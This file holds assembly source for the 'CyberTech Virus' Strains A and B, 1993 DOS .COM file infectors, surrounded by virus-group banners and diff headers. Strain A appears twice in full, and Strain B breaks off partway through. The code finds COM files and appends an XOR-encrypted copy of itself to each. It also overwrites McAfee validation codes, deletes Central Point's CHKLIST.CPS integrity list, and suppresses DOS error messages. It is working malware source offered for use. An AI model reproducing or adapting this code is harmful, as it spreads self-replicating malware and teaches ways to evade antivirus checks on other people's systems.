; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+427
View File
@@ -0,0 +1,427 @@
;
; CyberTech Virus - Strain A John Tardy (C) 1993
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory after it has
; infected a program. CHKLIST.CPS is a file which is used by
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
; validation code is added by SCAN of McAfee, it will overwrite
; the code, so the file is no longer CRC protected anymore.
; After 1993, the virus activates. It then displays a message
; that your system has been infected. The virus will remove
; itself from the infected file and completely restore it. If
; a validation code was added, it is lost, but the file is not
; corrupted and will function normally. Even when the file is
; compressed afterwards by an executable file compressor, it is
; uncompressed. Before 1994, the virus sometimes display it's
; copyright. This is caused when the random encryption counter
; is a 0. It will redefine it, so there is no visible text in
; the virus. It checks also if there is enough diskspace
; aveable and installs a critical error handler.
;
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP,Offset MainVir+3 ;
Push Ax ; Save possible error code
Lea Di,Crypt[BP] ; Decrypt the virus with a
Mov Si,Di ; very simple exclusive or
Mov Cx,CryptLen ; function.
Decrypt: Lodsb ;
Xor Al,0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $-MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
Mov Cs:Start+100h,Ax ;
Mov Cs:Start[2]+100h,Bx ;
Xor Ax,Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx,Ds:[4*24h] ;
Mov Es,Ds:[4*24h]+4 ;
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
Lea Bx,NewInt24[Bp] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
Mov Word Ptr Ds:[4*24h]+2,Es ;
Push Cs ;
Pop Ds ;
Mov Ah,30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al,3 ; interrupt use
Jae On2 ;
Jmp Ready ;
On2: Mov Ax,3600h ; Check if enough disk space
Xor Dx,Dx ; is aveable for infecting
Int 21h ; (3 clusters should be
Cmp Bx,3 ; enough i think)
Ja TestDate ;
Jmp Ready ;
TestDate: Mov Ah,2ah ; Check if 1993 is past time
Int 21h ; already
Cmp Cx,1994 ;
Jae Clean ; - 1993 or more
Jmp NoClean ; - Not 1993 or more
;
; Main Cleanup procedure
;
Clean: Push Cs ; Show message that the
Pop Ds ; system has been infected
Mov Ah,9 ;
Lea Dx,Removed[Bp] ;
Int 21h ;
Mov Ah,1ah ; Move DTA to a safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ax,Cs:[2ch] ; Find the name of the
Mov Ds,Ax ; program that is now
Mov Si,0 ; executed (me must search in
Mov Cx,4000h ; the DOS environment for
Seeker: Lodsb ; safe tracking of the name
Cmp Al,1 ;
Je On3 ;
Loop Seeker ;
On3: Inc Si ; Transfer the found name
Push Cs ; to a safe address in memory
Pop Es ;
Mov Di,0fd80h ;
Mov Cx,80h ;
Trans: Lodsb ;
Cmp Al,0h ;
Jne Verder ;
Xor Ax,Ax ;
Verder: Stosb ;
Loop Trans ;
Push Cs ; Read file attributes and
Pop Ds ; check if an error has
Mov Ax,4300h ; occured
Mov Dx,0fd80h ;
Int 21h ;
Jnc DeInfect ; - No error, DeInfect
Jmp Ready ; - Error, Ready
DeInfect: Push Cx ; Store old file attributes
Mov Ax,4301h ; Clear file attributes
Xor Cx,Cx ; (for read only etc.)
Int 21h ;
Mov Ax,3d02h ; Open the file
Int 21h ;
Mov Bx,Ax ; Read file date/time stamp
Mov Ax,5700h ; and store it on the stack
Int 21h ; for later use
Push Cx ;
Push Dx ;
Mov Ah,3eh ; Close file
Int 21h ;
Mov Dx,0fd80h ; Create a new file with the
Xor Cx,Cx ; same name
Mov Ah,3ch ;
Int 21h ;
Mov Bx,Ax ; store file handle in BX
Mov Ah,40h ; write memory image of host
Mov Dx,100h ; program to file (the original
Mov Cx,Bp ; file is now back again)
Sub Cx,0fch ;
Int 21h ;
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Pop Cx ; restore file attributes
Mov Ax,4301h ;
Mov Dx,0fd80h ;
Int 21h ;
Push Cs ; jump to ready routine
Pop Ds ; (shutdown of the virus)
Jmp Ready ;
;
; Main viral part
;
NoClean: Mov Ah,1ah ; Store DTA at safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ah,4eh ; FindFirsFile Function
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
Xor Cx,Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax,4300h ; Get file attributes and
Mov Dx,0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax,4301h ; clear file attributes
Xor Cx,Cx ;
Int 21h ;
Mov Ax,3d02h ; open file with read/write
Int 21h ; access
Mov Bx,5700h ; save file date/time stamp
Xchg Ax,Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah,3fh ; read the first 4 bytes of
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
Mov Cx,4 ;
Int 21h ;
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
Cmp Ax,'ZM' ;
Je ExeFile ;
Cmp Ax,'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
Cmp Ah,'*' ;
Jne Infect ;
ExeFile: Call Close ; If one of the checks is yes,
Mov Ah,4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx,Cx ; subroutine to jump to end
Xor Dx,Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax,4202h ; jump to EOF
Call FSeek ;
Cmp Ax,0f900 ; Check if file too large
Jae ExeFile ; if yes, goto exefile
Cmp Ax,10 ; Check if file too short
Jbe ExeFile ; if yes, goto exefile
Mov Cx,Dx ; calculate pointer to offset
Mov Dx,Ax ; EOF-52 (for McAfee validation
Sub Dx,52 ; codes)
Mov Si,Cx ; move file pointer to the
Mov Di,Dx ; calculated address
Mov Ax,4200h ;
Int 21h ;
Mov Ah,3fh ; read the last 52 bytes
Mov Dx,0fb00h ; of the file
Mov Cx,52 ;
Int 21h ;
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
Jne Check2 ; AG option
Cmp Ds:0fb02h,0aac5h ;
Jne Check2 ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds:0Fb02h+42,0aac5h ;
Jne Eof ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Add Dx,42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax,4202h ; not AG or AV - jump to
Call Fseek ; EOF
CalcVirus: Sub Ax,3 ; calculate the jump for the
Mov Cs:CallPtr[BP]+1,Ax ; virus start
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl,0 ; if not zero, goto NoZero
Jne NoZero ;
Mov Ah,9 ; If zero, display copyright
Lea Dx,Msg[Bp] ; message and generate again
Int 21h ; a number
Jmp GetCrypt ;
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
Lea Si,MainVir[BP] ; Move changed decryptor to
Mov Di,0fb00h ; a safe place in memory
Mov Cx,DecrLen ;
Rep Movsb ;
Lea Si,Crypt[BP] ; Encrypt the virus and merge
Mov Cx,CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al,Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah,40h ; append virus at EOF or over
Lea Dx,0fb00h ; the validation code of
Mov Cx,VirLen ; McAfee
Int 21h ;
Mov Ax,4200h ; Jump to BOF
Call FSeek ;
Mov Ah,40h ; Write Jump at BOF
Lea Dx,CallPtr[BP] ;
Mov Cx,4 ;
Int 21h ;
Call Close ; Jump to Close routine
Ready: Mov Ah,1ah ; Restore DTA to normal
Mov Dx,80h ; offset
Int 21h ;
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
Xor Bx,Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds:[4*24h],Dx ;
Mov Ds:[4*24h]+2,Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx,100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Mov Ax,4301h ; restore file attributes
Pop Cx ;
Mov Dx,0fd1eh ;
Int 21h ;
Mov Ah,41h ; delete CHKLIST.CPS (the
Lea Dx,CpsName[BP] ; Central Point CRC list)
Int 21h ;
Push Si ; why???
Ret
;
; Message when we are in 1994
;
Removed Db 13,10,'The previous year you have been infected by a virus'
Db 13,10,'without knowing or removing it. To be gentle to you'
Db 13,10,'I decided to remove myself from your system. McAfee'
Db 13,10,'could scan Strain A, but after switching 2 instructions'
Db 13,10,'it is hidden again. I suggest McAfee isn''t the best'
Db 13,10,'scanner. I''m deeply disappointed!'
Db 13,10,10,'May I say goodbye to you for now....',13,10
;
; Message when encryption byte = 0 or when we are living in 1994
;
Msg Db 13,10,'CyberTech Virus - Strain A-2'
Db 13,10,'(C) 1993 John Tardy of Trident'
Db 13,10,'$'
;
; New critical error handler
;
NewInt24: Mov Al,3 ; supress any critical error
Iret ; messages
CpsName Db 'chklist.cps',0 ; name for CP CRC-list
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h,0,0 ; jump to place at BOF
FileSpec Db '*.COM',0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $-Crypt ; encrypted part length
VirLen Equ $-MainVir ; total virus length
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+427
View File
@@ -0,0 +1,427 @@
;
; CyberTech Virus - Strain A John Tardy (C) 1993
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory after it has
; infected a program. CHKLIST.CPS is a file which is used by
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
; validation code is added by SCAN of McAfee, it will overwrite
; the code, so the file is no longer CRC protected anymore.
; After 1993, the virus activates. It then displays a message
; that your system has been infected. The virus will remove
; itself from the infected file and completely restore it. If
; a validation code was added, it is lost, but the file is not
; corrupted and will function normally. Even when the file is
; compressed afterwards by an executable file compressor, it is
; uncompressed. Before 1994, the virus sometimes display it's
; copyright. This is caused when the random encryption counter
; is a 0. It will redefine it, so there is no visible text in
; the virus. It checks also if there is enough diskspace
; aveable and installs a critical error handler.
;
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP,Offset MainVir+3 ;
Push Ax ; Save possible error code
Lea Di,Crypt[BP] ; Decrypt the virus with a
Mov Si,Di ; very simple exclusive or
Mov Cx,CryptLen ; function.
Decrypt: Lodsb ;
Xor Al,0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $-MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
Mov Cs:Start+100h,Ax ;
Mov Cs:Start[2]+100h,Bx ;
Xor Ax,Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx,Ds:[4*24h] ;
Mov Es,Ds:[4*24h]+4 ;
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
Lea Bx,NewInt24[Bp] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
Mov Word Ptr Ds:[4*24h]+2,Es ;
Push Cs ;
Pop Ds ;
Mov Ah,30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al,3 ; interrupt use
Jae On2 ;
Jmp Ready ;
On2: Mov Ax,3600h ; Check if enough disk space
Xor Dx,Dx ; is aveable for infecting
Int 21h ; (3 clusters should be
Cmp Bx,3 ; enough i think)
Ja TestDate ;
Jmp Ready ;
TestDate: Mov Ah,2ah ; Check if 1993 is past time
Int 21h ; already
Cmp Cx,1994 ;
Jae Clean ; - 1993 or more
Jmp NoClean ; - Not 1993 or more
;
; Main Cleanup procedure
;
Clean: Push Cs ; Show message that the
Pop Ds ; system has been infected
Mov Ah,9 ;
Lea Dx,Removed[Bp] ;
Int 21h ;
Mov Ah,1ah ; Move DTA to a safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ax,Cs:[2ch] ; Find the name of the
Mov Ds,Ax ; program that is now
Mov Si,0 ; executed (me must search in
Mov Cx,4000h ; the DOS environment for
Seeker: Lodsb ; safe tracking of the name
Cmp Al,1 ;
Je On3 ;
Loop Seeker ;
On3: Inc Si ; Transfer the found name
Push Cs ; to a safe address in memory
Pop Es ;
Mov Di,0fd80h ;
Mov Cx,80h ;
Trans: Lodsb ;
Cmp Al,0h ;
Jne Verder ;
Xor Ax,Ax ;
Verder: Stosb ;
Loop Trans ;
Push Cs ; Read file attributes and
Pop Ds ; check if an error has
Mov Ax,4300h ; occured
Mov Dx,0fd80h ;
Int 21h ;
Jnc DeInfect ; - No error, DeInfect
Jmp Ready ; - Error, Ready
DeInfect: Push Cx ; Store old file attributes
Mov Ax,4301h ; Clear file attributes
Xor Cx,Cx ; (for read only etc.)
Int 21h ;
Mov Ax,3d02h ; Open the file
Int 21h ;
Mov Bx,Ax ; Read file date/time stamp
Mov Ax,5700h ; and store it on the stack
Int 21h ; for later use
Push Cx ;
Push Dx ;
Mov Ah,3eh ; Close file
Int 21h ;
Mov Dx,0fd80h ; Create a new file with the
Xor Cx,Cx ; same name
Mov Ah,3ch ;
Int 21h ;
Mov Bx,Ax ; store file handle in BX
Mov Ah,40h ; write memory image of host
Mov Dx,100h ; program to file (the original
Mov Cx,Bp ; file is now back again)
Sub Cx,0fch ;
Int 21h ;
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Pop Cx ; restore file attributes
Mov Ax,4301h ;
Mov Dx,0fd80h ;
Int 21h ;
Push Cs ; jump to ready routine
Pop Ds ; (shutdown of the virus)
Jmp Ready ;
;
; Main viral part
;
NoClean: Mov Ah,1ah ; Store DTA at safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ah,4eh ; FindFirsFile Function
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
Xor Cx,Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax,4300h ; Get file attributes and
Mov Dx,0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax,4301h ; clear file attributes
Xor Cx,Cx ;
Int 21h ;
Mov Ax,3d02h ; open file with read/write
Int 21h ; access
Mov Bx,5700h ; save file date/time stamp
Xchg Ax,Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah,3fh ; read the first 4 bytes of
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
Mov Cx,4 ;
Int 21h ;
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
Cmp Ax,'ZM' ;
Je ExeFile ;
Cmp Ax,'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
Cmp Ah,'*' ;
Jne Infect ;
ExeFile: Call Close ; If one of the checks is yes,
Mov Ah,4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx,Cx ; subroutine to jump to end
Xor Dx,Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax,4202h ; jump to EOF
Call FSeek ;
Cmp Ax,0f900 ; Check if file too large
Jae ExeFile ; if yes, goto exefile
Cmp Ax,10 ; Check if file too short
Jbe ExeFile ; if yes, goto exefile
Mov Cx,Dx ; calculate pointer to offset
Mov Dx,Ax ; EOF-52 (for McAfee validation
Sub Dx,52 ; codes)
Mov Si,Cx ; move file pointer to the
Mov Di,Dx ; calculated address
Mov Ax,4200h ;
Int 21h ;
Mov Ah,3fh ; read the last 52 bytes
Mov Dx,0fb00h ; of the file
Mov Cx,52 ;
Int 21h ;
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
Jne Check2 ; AG option
Cmp Ds:0fb02h,0aac5h ;
Jne Check2 ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds:0Fb02h+42,0aac5h ;
Jne Eof ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Add Dx,42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax,4202h ; not AG or AV - jump to
Call Fseek ; EOF
CalcVirus: Sub Ax,3 ; calculate the jump for the
Mov Cs:CallPtr[BP]+1,Ax ; virus start
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl,0 ; if not zero, goto NoZero
Jne NoZero ;
Mov Ah,9 ; If zero, display copyright
Lea Dx,Msg[Bp] ; message and generate again
Int 21h ; a number
Jmp GetCrypt ;
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
Lea Si,MainVir[BP] ; Move changed decryptor to
Mov Di,0fb00h ; a safe place in memory
Mov Cx,DecrLen ;
Rep Movsb ;
Lea Si,Crypt[BP] ; Encrypt the virus and merge
Mov Cx,CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al,Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah,40h ; append virus at EOF or over
Lea Dx,0fb00h ; the validation code of
Mov Cx,VirLen ; McAfee
Int 21h ;
Mov Ax,4200h ; Jump to BOF
Call FSeek ;
Mov Ah,40h ; Write Jump at BOF
Lea Dx,CallPtr[BP] ;
Mov Cx,4 ;
Int 21h ;
Call Close ; Jump to Close routine
Ready: Mov Ah,1ah ; Restore DTA to normal
Mov Dx,80h ; offset
Int 21h ;
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
Xor Bx,Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds:[4*24h],Dx ;
Mov Ds:[4*24h]+2,Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx,100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Mov Ax,4301h ; restore file attributes
Pop Cx ;
Mov Dx,0fd1eh ;
Int 21h ;
Mov Ah,41h ; delete CHKLIST.CPS (the
Lea Dx,CpsName[BP] ; Central Point CRC list)
Int 21h ;
Push Si ; why???
Ret
;
; Message when we are in 1994
;
Removed Db 13,10,'The previous year you have been infected by a virus'
Db 13,10,'without knowing or removing it. To be gentle to you'
Db 13,10,'I decided to remove myself from your system. McAfee'
Db 13,10,'could scan Strain A, but after switching 2 instructions'
Db 13,10,'it is hidden again. I suggest McAfee isn''t the best'
Db 13,10,'scanner. I''m deeply disappointed!'
Db 13,10,10,'May I say goodbye to you for now....',13,10
;
; Message when encryption byte = 0 or when we are living in 1994
;
Msg Db 13,10,'CyberTech Virus - Strain A-2'
Db 13,10,'(C) 1993 John Tardy of Trident'
Db 13,10,'$'
;
; New critical error handler
;
NewInt24: Mov Al,3 ; supress any critical error
Iret ; messages
CpsName Db 'chklist.cps',0 ; name for CP CRC-list
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h,0,0 ; jump to place at BOF
FileSpec Db '*.COM',0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $-Crypt ; encrypted part length
VirLen Equ $-MainVir ; total virus length
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+500
View File
@@ -0,0 +1,500 @@
;
; CyberTech Virus - Strain B John Tardy (C) 1993
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory after it has
; infected a program. CHKLIST.CPS is a file which is used by
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
; validation code is added by SCAN of McAfee, it will overwrite
; the code, so the file is no longer CRC protected anymore.
; After 1993, the virus activates. It then displays a message
; that your system has been infected. The virus will remove
; itself from the infected file and completely restore it. If
; a validation code was added, it is lost, but the file is not
; corrupted and will function normally. Even when the file is
; compressed afterwards by an executable file compressor, it is
; uncompressed. Before 1994, the virus sometimes display it's
; copyright. This is caused when the random encryption counter
; is a 0. It will redefine it, so there is no visible text in
; the virus. It checks also if there is enough diskspace
; aveable and installs a critical error handler.
;
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP,Offset MainVir+3 ;
Push Ax ; Save possible error code
Lea Di,Crypt[BP] ; Decrypt the virus with a
Mov Si,Di ; very simple exclusive or
Mov Cx,CryptLen ; function.
Decrypt: Lodsb ;
Xor Al,0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $-MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
Mov Cs:Start+100h,Ax ;
Mov Cs:Start[2]+100h,Bx ;
Xor Ax,Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx,Ds:[4*24h] ;
Mov Es,Ds:[4*24h]+4 ;
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
Lea Bx,NewInt24[Bp] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
Mov Word Ptr Ds:[4*24h]+2,Es ;
Push Cs ;
Pop Ds ;
Mov Ah,30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al,3 ; interrupt use
Jae TestDate ;
Jmp Ready ;
TestDate: Mov Ah,2ah ; Check if 1993 is past time
Int 21h ; already
Cmp Cx,1994 ;
Jae Clean ; - 1994 or more
Jmp NoClean ; - Not 1994 or more
;
; Main Cleanup procedure
;
Clean: Mov Ah,1ah ; Move DTA to a safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ax,Cs:[2ch] ; Find the name of the
Mov Ds,Ax ; program that is now
Mov Si,0 ; executed (me must search in
Mov Cx,4000h ; the DOS environment for
Seeker: Lodsb ; safe tracking of the name
Cmp Al,1 ;
Je On3 ;
Loop Seeker ;
On3: Inc Si ; Transfer the found name
Push Cs ; to a safe address in memory
Pop Es ;
Mov Di,0fd80h ;
Mov Cx,80h ;
Trans: Lodsb ;
Cmp Al,0 ;
Je Verder ;
Stosb ;
Loop Trans ;
Verder: Stosb
Sub Di,12
Push Cs
Pop Ds
Mov Ax,[Di][0] ;
Cmp Ax,'OC'
Jne Normal
Mov Ax,[Di][2]
Cmp Ax,'MM'
Jne Normal
Mov Ax,[Di][4]
Cmp Ax,'NA'
Jne Normal
Jmp Ready
Normal: Push Cs ; Read file attributes and
Pop Ds ; check if an error has
Mov Ax,4300h ; occured
Mov Dx,0fd80h ;
Int 21h ;
Jnc DeInfect ; - No error, DeInfect
Jmp Ready ; - Error, Ready
DeInfect: Push Cx ; Store old file attributes
Mov Ax,4301h ; Clear file attributes
Xor Cx,Cx ; (for read only etc.)
Int 21h ;
Mov Ax,3d02h ; Open the file
Int 21h ;
Mov Bx,Ax ; Read file date/time stamp
Mov Ax,5700h ; and store it on the stack
Int 21h ; for later use
Push Cx ;
Push Dx ;
Mov Ah,3eh ; Close file
Int 21h ;
Mov Dx,0fd80h ; Create a new file with the
Xor Cx,Cx ; same name
Mov Ah,3ch ;
Int 21h ;
Mov Bx,Ax ; store file handle in BX
Mov Dx,100h ; program to file (the original
Mov Cx,Bp ; file is now back again)
Sub Cx,0fch ;
Mov Ah,40h ; write memory image of host
Int 21h ;
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Pop Cx ; restore file attributes
Mov Ax,4301h ;
Mov Dx,0fd80h ;
Int 21h ;
Push Cs ; Show message that the
Pop Ds ; system has been infected
Mov Ah,9 ; and shutdown virus
Lea Dx,Removed[Bp] ;
Int 21h ;
Jmp Ready ;
;
; Main viral part
;
NoClean: Mov Ah,1ah ; Store DTA at safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ah,4eh ; FindFirsFile Function
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
Xor Cx,Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax,4300h ; Get file attributes and
Mov Dx,0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax,4301h ; clear file attributes
Xor Cx,Cx ;
Int 21h ;
Mov Ax,3d02h ; open file with read/write
Int 21h ; access
Mov Bx,5700h ; save file date/time stamp
Xchg Ax,Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah,3fh ; read the first 4 bytes of
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
Mov Cx,4 ;
Int 21h ;
